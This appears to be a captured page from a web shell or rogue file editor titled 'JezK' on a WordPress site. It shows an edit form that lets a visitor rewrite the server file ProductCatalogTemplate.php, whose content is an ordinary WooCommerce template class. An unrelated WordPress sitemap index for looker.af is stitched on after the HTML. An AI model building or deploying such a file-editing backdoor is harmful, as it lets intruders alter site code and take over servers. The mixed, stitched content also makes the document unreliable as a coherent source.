
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: ProductCatalogTemplate.php</h2><form method="post"><textarea name="file_content" rows="10" cols="50">&lt;?php

namespace Automattic\WooCommerce\Blocks\Templates;

use Automattic\WooCommerce\Blocks\Utils\BlockTemplateUtils;

/**
 * ProductCatalogTemplate class.
 *
 * @internal
 */
class ProductCatalogTemplate extends AbstractTemplate {

	/**
	 * The slug of the template.
	 *
	 * @var string
	 */
	const SLUG = &#039;archive-product&#039;;

	/**
	 * Initialization method.
	 */
	public function init() {
		add_action( &#039;template_redirect&#039;, array( $this, &#039;render_block_template&#039; ) );
		add_filter( &#039;current_theme_supports-block-templates&#039;, array( $this, &#039;remove_block_template_support_for_shop_page&#039; ) );
	}

	/**
	 * Returns the title of the template.
	 *
	 * @return string
	 */
	public function get_template_title() {
		return _x( &#039;Product Catalog&#039;, &#039;Template name&#039;, &#039;woocommerce&#039; );
	}

	/**
	 * Returns the description of the template.
	 *
	 * @return string
	 */
	public function get_template_description() {
		return __( &#039;Displays your products.&#039;, &#039;woocommerce&#039; );
	}

	/**
	 * Renders the default block template from Woo Blocks if no theme templates exist.
	 */
	public function render_block_template() {
		if ( ! is_embed() &amp;&amp; ( is_post_type_archive( &#039;product&#039; ) || is_page( wc_get_page_id( &#039;shop&#039; ) ) ) ) {
			$templates = get_block_templates( array( &#039;slug__in&#039; =&gt; array( self::SLUG ) ) );

			if ( isset( $templates[0] ) &amp;&amp; BlockTemplateUtils::template_has_legacy_template_block( $templates[0] ) ) {
				add_filter( &#039;woocommerce_disable_compatibility_layer&#039;, &#039;__return_true&#039; );
			}

			add_filter( &#039;woocommerce_has_block_template&#039;, &#039;__return_true&#039;, 10, 0 );
		}
	}

	/**
	 * Remove the template panel from the Sidebar of the Shop page because
	 * the Site Editor handles it.
	 *
	 * @see https://github.com/woocommerce/woocommerce-gutenberg-products-block/issues/6278
	 *
	 * @param bool $is_support Whether the active theme supports block templates.
	 *
	 * @return bool
	 */
	public function remove_block_template_support_for_shop_page( $is_support ) {
		global $pagenow, $post;

		if (
			is_admin() &amp;&amp;
			&#039;post.php&#039; === $pagenow &amp;&amp;
			function_exists( &#039;wc_get_page_id&#039; ) &amp;&amp;
			is_a( $post, &#039;WP_Post&#039; ) &amp;&amp;
			wc_get_page_id( &#039;shop&#039; ) === $post-&gt;ID
		) {
			return false;
		}

		return $is_support;
	}
}
</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://looker.af/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://looker.af/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>
